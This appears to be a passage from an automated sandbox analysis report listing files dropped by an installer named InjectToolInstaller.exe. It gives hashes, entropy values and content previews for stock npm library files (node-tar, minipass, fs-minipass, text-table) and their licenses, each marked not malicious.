SHA-512:	1BD66E5004CD3A75C7172CB911A9AD432001A65F8CDBAF7E950FBCA297AC2A53F23F6720E9985F1971ED7ADF7362C290736165CF02E58CD7AEE7C08647B0B597
Malicious:	false
Preview:	'use strict'..// tar -u..const hlo = require('./high-level-opt.js').const r = require('./replace.js').// just call tar.r with the filter and mtimeCache..module.exports = (opt_, files, cb) => {. const opt = hlo(opt_).. if (!opt.file) {. throw new TypeError('file is required'). }.. if (opt.gzip \|\| opt.brotli \|\| opt.file.endsWith('.br') \|\| opt.file.endsWith('.tbr')) {. throw new TypeError('cannot append to compressed archives'). }.. if (!files \|\| !Array.isArray(files) \|\| !files.length) {. throw new TypeError('no files or directories specified'). }.. files = Array.from(files).. mtimeFilter(opt). return r(opt, files, cb).}..const mtimeFilter = opt => {. const filter = opt.filter.. if (!opt.mtimeCache) {. opt.mtimeCache = new Map(). }.. opt.filter = filter ? (path, stat) =>. filter(path, stat) && !(opt.mtimeCache.get(path) > stat.mtime). : (path, stat) => !(opt.mtimeCache.get(path) > stat.mtime).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\warn-mixin.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	725
Entropy (8bit):	4.378531527421619
Encrypted:	false
SSDEEP:	12:bBBeNMkSJJHYMDkhlZeClQGblIuKjSad6ARBGbcb8cXaARRzqNe5VsRBGbvYSHco:1BeNAJ4VLQSQGblmOaAMGb/cXa6YNxGL
MD5:	AFE2B80C6C52B85EECFCF552137CE3FC
SHA1:	239CD3E3303ED104552CC427A184A636AEA0F15E
SHA-256:	68A0872C9747368A95918D2623D8EE5686C4F41951975512E952491C43FC17F0
SHA-512:	C96CAB67F4D05ACBEDA737A73A75F25760DBF1E51ECEB02164D58E658B1D15017C1FD0AF2B8ADA7A7329C96ABE98C48A9CE8A33BB2147109467F2036C8A1AC78
Malicious:	false
Preview:	'use strict'.module.exports = Base => class extends Base {. warn (code, message, data = {}) {. if (this.file) {. data.file = this.file. }. if (this.cwd) {. data.cwd = this.cwd. }. data.code = message instanceof Error && message.code \|\| code. data.tarCode = code. if (!this.strict && data.recoverable !== false) {. if (message instanceof Error) {. data = Object.assign(message, data). message = message.message. }. this.emit('warn', data.tarCode, message, data). } else if (message instanceof Error) {. this.emit('error', Object.assign(message, data)). } else {. this.emit('error', Object.assign(new Error(`${code}: ${message}`), data)). }. }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\winchars.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	535
Entropy (8bit):	4.867990948460367
Encrypted:	false
SSDEEP:	12:Rpzyvacdbp9WN5WpTaqFM5/3B+IvtNXpUAXTYtNXpk00:RpzgbhpTasK/3BHlZpUKkZpkD
MD5:	5B12E2AEE1E9A6A77B7C399DB31F7E7F
SHA1:	FBB12C75179354A469503C338FCCE18C11D9CE32
SHA-256:	5CB97674101A0D79920DF164BA402C8DA0941960823DAAB3A16C8B06A12A1AED
SHA-512:	605F5ED88DFE13B013B02BBAE2C9B4D8BC01EBCB96CB19CC04956141B3E56343DB3E402B4586CF8D79315455CA05D47F452A87D862EF8203FBB6EE2E55A194D5
Malicious:	false
Preview:	'use strict'..// When writing files on Windows, translate the characters to their.// 0xf000 higher-encoded versions...const raw = [. '\|',. '<',. '>',. '?',. ':',.]..const win = raw.map(char =>. String.fromCharCode(0xf000 + char.charCodeAt(0)))..const toWin = new Map(raw.map((char, i) => [char, win[i]])).const toRaw = new Map(win.map((char, i) => [char, raw[i]]))..module.exports = {. encode: s => raw.reduce((s, c) => s.split(c).join(toWin.get(c)), s),. decode: s => win.reduce((s, c) => s.split(c).join(toRaw.get(c)), s),.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\write-entry.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	15300
Entropy (8bit):	4.818129795680345
Encrypted:	false
SSDEEP:	384:08u0DDqqUdB+CxYiJsTn98yt1mUhGnlOpKZa:FuGhn98yt1j
MD5:	05484367674899C98D34E4CF6FA2A505
SHA1:	7D7023F13B7D2BFC780FBD707566E522F95EED3C
SHA-256:	8F57032E81A8AFC349FC1299DA58598DC414D7C7EA27CB47E8A28B265A983F73
SHA-512:	6492706761E7D0CB1A334A6E53716CB09DA4189F92651B652CCC689717EB235859DCFE9F0796DA299E2D0965E3CD6C30E79D218504C5503B5B4DFDD26ED8DDED
Malicious:	false
Preview:	'use strict'.const { Minipass } = require('minipass').const Pax = require('./pax.js').const Header = require('./header.js').const fs = require('fs').const path = require('path').const normPath = require('./normalize-windows-path.js').const stripSlash = require('./strip-trailing-slashes.js')..const prefixPath = (path, prefix) => {. if (!prefix) {. return normPath(path). }. path = normPath(path).replace(/^\.(\/\|$)/, ''). return stripSlash(prefix) + '/' + path.}..const maxReadSize = 16 * 1024 * 1024.const PROCESS = Symbol('process').const FILE = Symbol('file').const DIRECTORY = Symbol('directory').const SYMLINK = Symbol('symlink').const HARDLINK = Symbol('hardlink').const HEADER = Symbol('header').const READ = Symbol('read').const LSTAT = Symbol('lstat').const ONLSTAT = Symbol('onlstat').const ONREAD = Symbol('onread').const ONREADLINK = Symbol('onreadlink').const OPENFILE = Symbol('openfile').const ONOPENFILE = Symbol('onopenfile').const CLOSE = Symbol('close').const MODE = Symbol

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\fs-minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\fs-minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9990
Entropy (8bit):	4.629899495380084
Encrypted:	false
SSDEEP:	192:T9FtUduJKmRpffdXEEOHQjgqq8BD3axjXwdLCOhw:93J7pmr
MD5:	AC5AF42CBD314F0AD18C1F497BAEA5EA
SHA1:	A505FCC40D7BCAA9512CC9F42CC7882A98DF61CD
SHA-256:	4699431200B93F8FCED125CE1C102A17C7B3D7BA6AAA17678D73C60DA438755F
SHA-512:	AE2002F8C21388E383BF208B3F151051F96F07C2155667D01A0E5C8F568C3B171D88C0562D66EF84D5E1652261234D580941634F611F1998C5DE9B9340DFB98A
Malicious:	false
Preview:	'use strict'.const MiniPass = require('minipass').const EE = require('events').EventEmitter.const fs = require('fs')..let writev = fs.writev./* istanbul ignore next */.if (!writev) {. // This entire block can be removed if support for earlier than Node.js. // 12.9.0 is not needed.. const binding = process.binding('fs'). const FSReqWrap = binding.FSReqWrap \|\| binding.FSReqCallback.. writev = (fd, iovec, pos, cb) => {. const done = (er, bw) => cb(er, bw, iovec). const req = new FSReqWrap(). req.oncomplete = done. binding.writeBuffers(fd, iovec, pos, req). }.}..const _autoClose = Symbol('_autoClose').const _close = Symbol('_close').const _ended = Symbol('_ended').const _fd = Symbol('_fd').const _finished = Symbol('_finished').const _flags = Symbol('_flags').const _flush = Symbol('_flush').const _handleChunk = Symbol('_handleChunk').const _makeBuf = Symbol('_makeBuf').const _mode = Symbol('_mode').const _needDrain = Symbol('_needDrain').const _onerror = Symbol('_onerror')

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.062587829448254
Encrypted:	false
SSDEEP:	24:9qeJsZ7ICCtEmq6s9iOnc4PRnA+KpF3ew:SEC2tuiOnx9AZF3ew
MD5:	78E0C554693F15C5D2E74A90DFEF3816
SHA1:	58823CE936D14F068797501B1174D8EA9E51E9FE
SHA-256:	A5A110EB524BF3217958E405B5E3411277E915A2F5902C330348877000337E53
SHA-512:	B38EBCF2AF28488DBF1D3AA6A40F41A8AF4893AD6CB8629125E41B2D52C6D501283D882F750FC8323517C4EB3953D89FA0F3C8CEBA2AE66A8BF95AE676474F09
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2022 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	16631
Entropy (8bit):	4.895871223084351
Encrypted:	false
SSDEEP:	384:PImi0vIjUUo+cYQp/PmOp54M/hvFx+2JgLLeALxiWNmdRVy8gybAWv:PImi09rZvUErtAW
MD5:	A8C344AC3D111B646DF0DCAE1F2BC3A3
SHA1:	D8A136B49214E498DA9C5A6E8CB9681B4FDA3149
SHA-256:	DBC5220C4BC8B470DA9C8E561B6A5382CF3FA9DCD97CACE955AC6FD34A27970C
SHA-512:	523749E4D38585249F1E3D7CFB2CB23E7F76764B36D0A628F48FF6B50F0A08C8E8526A1236977DA1BD4AC0FF0BD8D0BA9B834324F2BDEF9BEA9394DD6878C51D
Malicious:	false
Preview:	'use strict'.const proc = typeof process === 'object' && process ? process : {. stdout: null,. stderr: null,.}.const EE = require('events').const Stream = require('stream').const SD = require('string_decoder').StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Symbol('objectMode').const DESTROYED = Symbol('destroyed').const EMITDATA = Symbol('emitData').const EMITEND = Symbol('emitEnd').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.6749165874239855
Encrypted:	false
SSDEEP:	24:V11nUWgTgleVlaREAq7P1w1ErvTKN93YG/SX/YPFDWX:VfnUWgTgwl6EAq794Eb+N5Yl/YPFDWX
MD5:	1943A368B7D61CC3792A307EC725C808
SHA1:	FC79B496665E2CDFC4BDAAC9C7D7C4B2F4645F2C
SHA-256:	E99F6B67BA6E5CDA438EFB7A23DD399EE5C2070AF69CE77720D95DE5FB42921E
SHA-512:	7C05F03F5D3DB01798C56C50D21628FC677097630AACF92E9EA47E70FF872D0E4E40217C1C2D5E81FC833CCF5AFE9697F8F20A4772459B396AA5C85263289223
Malicious:	false
Preview:	{. "name": "minipass",. "version": "3.3.6",. "description": "minimal implementation of a PassThrough stream",. "main": "index.js",. "types": "index.d.ts",. "dependencies": {. "yallist": "^4.0.0". },. "devDependencies": {. "@types/node": "^17.0.41",. "end-of-stream": "^1.4.0",. "prettier": "^2.6.2",. "tap": "^16.2.0",. "through2": "^2.0.3",. "ts-node": "^10.8.1",. "typescript": "^4.7.3". },. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "repository": {. "type": "git",. "url": "git+https://github.com/isaacs/minipass.git". },. "keywords": [. "passthrough",. "stream". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "files": [. "index.d.ts",. "index.js". ],. "tap": {. "check-coverage": true. },. "engines": {. "node": ">=8". },. "prettier": {. "semi": false,. "printWidth

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\fs-minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	865
Entropy (8bit):	4.682276419775558
Encrypted:	false
SSDEEP:	12:gM11g6aOVVP1U2M1bCglZgOjIdrL7MbmW6leP6sh6sG7PnQmR0QgZgYJk/GCkfOJ:F11vP1w1ZU933eWvQm2QpYe/x
MD5:	5391F566F8AFB10FF27831AB50BFF208
SHA1:	55871AB123B38E2AF83FDAB7B189A4A61BA46465
SHA-256:	02B36A2A2E729813A196C97486BB12955345E201D6CCDA5FB2B322F62FA381AB
SHA-512:	DCADE585B3D3C45FB92C2EFA13A61CA28D1C736DEA422E803D1D63C26CB46C20CB34897D497CF028392D0AF9FD4766B61BBC1846378EED4EEEBA4F3BB03C446F
Malicious:	false
Preview:	{. "name": "fs-minipass",. "version": "2.1.0",. "main": "index.js",. "scripts": {. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git push origin --follow-tags". },. "keywords": [],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC",. "repository": {. "type": "git",. "url": "git+https://github.com/npm/fs-minipass.git". },. "bugs": {. "url": "https://github.com/npm/fs-minipass/issues". },. "homepage": "https://github.com/npm/fs-minipass#readme",. "description": "fs read and write streams based on minipass",. "dependencies": {. "minipass": "^3.0.0". },. "devDependencies": {. "mutate-fs": "^2.0.1",. "tap": "^14.6.4". },. "files": [. "index.js". ],. "tap": {. "check-coverage": true. },. "engines": {. "node": ">= 8". }.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\minipass\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.066711225252366
Encrypted:	false
SSDEEP:	12:9FMR+ZnTES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PFd:9VZ7ICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	5F114AC709A085D123E16C1E6363793F
SHA1:	185C2AB72F55BF0A69F28B19AC3849C0CA0D9705
SHA-256:	833FAA18AC4B83A6372C05B3643D0D44ECD27D6627B8CD19B0F48FE74260CF39
SHA-512:	CAB00A78E63DEC76FA124FC49D1C28962D674FA18DDA5FDF2819078BD932F1BF0CC9ABD741B78F62869B4809473099F85BA8A622BC96F4EE92CF11B564346597
Malicious:	false
Preview:	The ISC License..Copyright (c) 2017-2023 npm, Inc., Isaac Z. Schlueter, and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\minipass\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	18551
Entropy (8bit):	4.940972095945771
Encrypted:	false
SSDEEP:	384:hImi95cImLprvmQpjnmoDWrC/r1XiB+uC46LxFWomd5lVy5JgydzTsPwW2Z:hImi9Stz1zAQbpTZ
MD5:	439CBB62BB943197D075E274E10C2C03
SHA1:	EB32092D134F2ADE8C9D95A3850E5C394B2A83A5
SHA-256:	CADA1F100F58D05055AFEAD733EC4BDB743E1E3333AB0E899A24F50C88C20CCE
SHA-512:	84E4018D39E0E99253B5E312A026B31F31146E18565FDC440CAADFBD1B99ACC1EAC453FD3E951FAB8D789DA21A2B68D3159E9776A9A26D883F953F4858CA753A
Malicious:	false
Preview:	'use strict'.const proc =. typeof process === 'object' && process. ? process. : {. stdout: null,. stderr: null,. }.const EE = require('events').const Stream = require('stream').const stringdecoder = require('string_decoder').const SD = stringdecoder.StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFER = Symbol('buffer').const PIPES = Symbol('pipes').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Sym

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\minipass\index.mjs

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	18516
Entropy (8bit):	4.939849339666677
Encrypted:	false
SSDEEP:	384:mImi95cImRprvmQpjnmoDWrC/r1XiB+uC46LxFWomd5lVy5JgydzTsPwW2v:mImi9etz1zAQbpTv
MD5:	55A53EE6E25AC34ED76B06FB810F779D
SHA1:	4FBBE5A6EBFB97649354BE366F3FE10E790C6AAE
SHA-256:	00610CFD77DAD5AA627D77F31362D4BA0F0A7DB96902CAF15451C9C637DD8D9E
SHA-512:	9E4519BACBEFF53B39E0E100D28E933624CE5D1847A456C388B66B74F24ED28FFCA2FA4026A902B420C598E07B8981146C026A3BB5032253EE1FDBD2A3FAF4FC
Malicious:	false
Preview:	'use strict'.const proc =. typeof process === 'object' && process. ? process. : {. stdout: null,. stderr: null,. }.import EE from 'events'.import Stream from 'stream'.import stringdecoder from 'string_decoder'.const SD = stringdecoder.StringDecoder..const EOF = Symbol('EOF').const MAYBE_EMIT_END = Symbol('maybeEmitEnd').const EMITTED_END = Symbol('emittedEnd').const EMITTING_END = Symbol('emittingEnd').const EMITTED_ERROR = Symbol('emittedError').const CLOSED = Symbol('closed').const READ = Symbol('read').const FLUSH = Symbol('flush').const FLUSHCHUNK = Symbol('flushChunk').const ENCODING = Symbol('encoding').const DECODER = Symbol('decoder').const FLOWING = Symbol('flowing').const PAUSED = Symbol('paused').const RESUME = Symbol('resume').const BUFFER = Symbol('buffer').const PIPES = Symbol('pipes').const BUFFERLENGTH = Symbol('bufferLength').const BUFFERPUSH = Symbol('bufferPush').const BUFFERSHIFT = Symbol('bufferShift').const OBJECTMODE = Symbol('objectMode

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\node_modules\minipass\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	4.604602560624711
Encrypted:	false
SSDEEP:	48:VfCUWp7gkR4O4+Ggwl6oCfA38/nBPT94d7EjoQKb+N5YZ/YPFDWX:V4pjR9tGg+CI3uFKEKb+cNx
MD5:	0073FF5B8B418F84C67EDD912FFAB39E
SHA1:	F351144CAFB23A2E78D442708FCBCFDCD4C5420F
SHA-256:	280AF43113A60826E63A6BF79E115FDF5F89D5866F663CDDE3D229640671CEE1
SHA-512:	EAF4015AA2E5A705E85EDF3761C0B23DAF8232D71CE30C508832AB0EF45A0B211B2DEEF468AE4FAAA52EC701A36F485A3E50D035373345267B9041F585A1B242
Malicious:	false
Preview:	{. "name": "minipass",. "version": "5.0.0",. "description": "minimal implementation of a PassThrough stream",. "main": "./index.js",. "module": "./index.mjs",. "types": "./index.d.ts",. "exports": {. ".": {. "import": {. "types": "./index.d.ts",. "default": "./index.mjs". },. "require": {. "types": "./index.d.ts",. "default": "./index.js". }. },. "./package.json": "./package.json". },. "devDependencies": {. "@types/node": "^17.0.41",. "end-of-stream": "^1.4.0",. "node-abort-controller": "^3.1.1",. "prettier": "^2.6.2",. "tap": "^16.2.0",. "through2": "^2.0.3",. "ts-node": "^10.8.1",. "typedoc": "^0.23.24",. "typescript": "^4.7.3". },. "scripts": {. "pretest": "npm run prepare",. "presnap": "npm run prepare",. "prepare": "node ./scripts/transpile-to-esm.js",. "snap": "tap",. "test": "tap",. "preversion": "npm test",. "postversion": "npm publish",. "postpublish": "git pu

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1434
Entropy (8bit):	4.589862531165555
Encrypted:	false
SSDEEP:	24:2L1NILnwIPQhBimTth98LIFhduaRi7XF5m5Fku95YOJo631bPJ4rJBeFEc8YIr:2hNq1PQ7x/98sPE6iTIfbLfFrJ43aOR
MD5:	0776C5301A058DC15153ACE1F8B2EFA2
SHA1:	D2EC16E4B7A086F4A8835E2FECF134970696512F
SHA-256:	370FA53DBFF91DDDB5B99BF1B428BAAD20E62BEC51CF06B5948781B95E49FE33
SHA-512:	A7CFF1DA7B41C6434B29F013976ECE066753684AA3DAFF66ED5837C88FC5CA73EB12F5C9083D5ABDC824D17E4C2BAC2FD2770C5E3E9A0BABDD05B7D62FC6AFF4
Malicious:	false
Preview:	{. "author": "GitHub Inc.",. "name": "tar",. "description": "tar for node",. "version": "6.2.0",. "repository": {. "type": "git",. "url": "https://github.com/isaacs/node-tar.git". },. "scripts": {. "genparse": "node scripts/generate-parse-fixtures.js",. "snap": "tap",. "test": "tap". },. "dependencies": {. "chownr": "^2.0.0",. "fs-minipass": "^2.0.0",. "minipass": "^5.0.0",. "minizlib": "^2.1.1",. "mkdirp": "^1.0.3",. "yallist": "^4.0.0". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.11.0",. "chmodr": "^1.2.0",. "end-of-stream": "^1.4.3",. "events-to-array": "^2.0.3",. "mutate-fs": "^2.1.1",. "nock": "^13.2.9",. "rimraf": "^3.0.2",. "tap": "^16.0.1". },. "license": "ISC",. "engines": {. "node": ">=10". },. "files": [. "bin/",. "lib/",. "index.js". ],. "tap": {. "coverage-map": "map.js",. "timeout": 0,. "nyc-arg": [. "--exclude",. "tap-s

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	5.050160375695032
Encrypted:	false
SSDEEP:	24:WbRrOJH7H0yxgtAHw1hC09QHOsUv4tk4/+dpoaq/FD:uSJrlxEDdQHOs52TSaYFD
MD5:	AEA1CDE69645F4B99BE4FF7CA9ABCCE1
SHA1:	B2E68CE937C1F851926F7E10280CC93221D4F53C
SHA-256:	435A6722C786B0A56FBE7387028F1D9D3F3A2D0FB615BB8FEE118727C3F59B7B
SHA-512:	518113037EE03540CAAE63058A98525F9A4A67425BD8C3596F697BED5AE1D2053FE76F76B85A4EEFB80CC519F7B03D368CF4B445288C4CA7CACB5E7523F33962
Malicious:	false
Preview:	This software is released under the MIT license:..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of.the Software, and to permit persons to whom the Software is furnished to do so,.subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS.FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR.COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER.IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN.CO

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\example\align.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.425081385823325
Encrypted:	false
SSDEEP:	3:qQuiFXjwFYFREHJjv5A3JQHKK7CnFEWOKK+4KEDQC3FaEFnKFCXCFWwdpA9fvn:qQumkJS3YRQEWl14fDX3MsK4XQnA9fv
MD5:	32F3E071C9D0F0564EF7675921CB077D
SHA1:	5FECC5461296AF4661DE955B6AD44F416786866C
SHA-256:	C3E67359ED961E576E796BFEF03A815B1D81F289EC046B27E613D639408BEE37
SHA-512:	A8CD6222B7B3F9CAFB0B968D020EF7F4FC0FEB7F85F524A4E4C1ABDA8E5D38F4A22C2BA90CE875FB624C5DC416F8291BD15F2F9F91E8EE493D77BB18B683BA0A
Malicious:	false
Preview:	var table = require('../');.var t = table([. [ 'beep', '1024' ],. [ 'boop', '33450' ],. [ 'foo', '1006' ],. [ 'bar', '45' ].], { align: [ 'l', 'r' ] });.console.log(t);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\example\center.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	221
Entropy (8bit):	4.519866727467399
Encrypted:	false
SSDEEP:	6:qQumkJS3XEWRVVKWl2CLFWfDXe9sK45lnA9fv:tAcXPVVFlLMeidX6v
MD5:	9D3F57A3EB48D17D4BF7B90905AAE466
SHA1:	718F33491C2CAA46E2EAF1F623FB84BC26BC1E72
SHA-256:	B840FE6B65D92F06665A57F4691BA14F615C41B5AEDA9976DC3C2021AF2DBD0E
SHA-512:	CF7DE93EE14E9EC38BC917EEF7A4F864317C11C9B80989059E2D5C02821ADF30D2DDE76AE1E65727DF3B869F66A5B58A12B4821E0833C91189C2D271CD53C903
Malicious:	false
Preview:	var table = require('../');.var t = table([. [ 'beep', '1024', 'xyz' ],. [ 'boop', '3388450', 'tuv' ],. [ 'foo', '10106', 'qrstuv' ],. [ 'bar', '45', 'lmno' ].], { align: [ 'l', 'c', 'l' ] });.console.log(t);.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\text-table\example\dotalign.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	208
Entropy (8bit):	4.4122660270508725
Encrypted:	false
SSDEEP:	6:qQumkJS3YRjJWl14fDZJfy4Y4vNsK4bFSnA9fv:tAcSj+1BXdh06v
MD5:	9F5E71F1DDC1C7280347A5C86C1744AA
SHA1:	3B24E79142914BF1AA22FCD1ACFB7377CEF3C4E0
SHA-256:	4445906CD73BCFFC36C6BA36225DD896DE9760164B7188779C262651D0502CC1
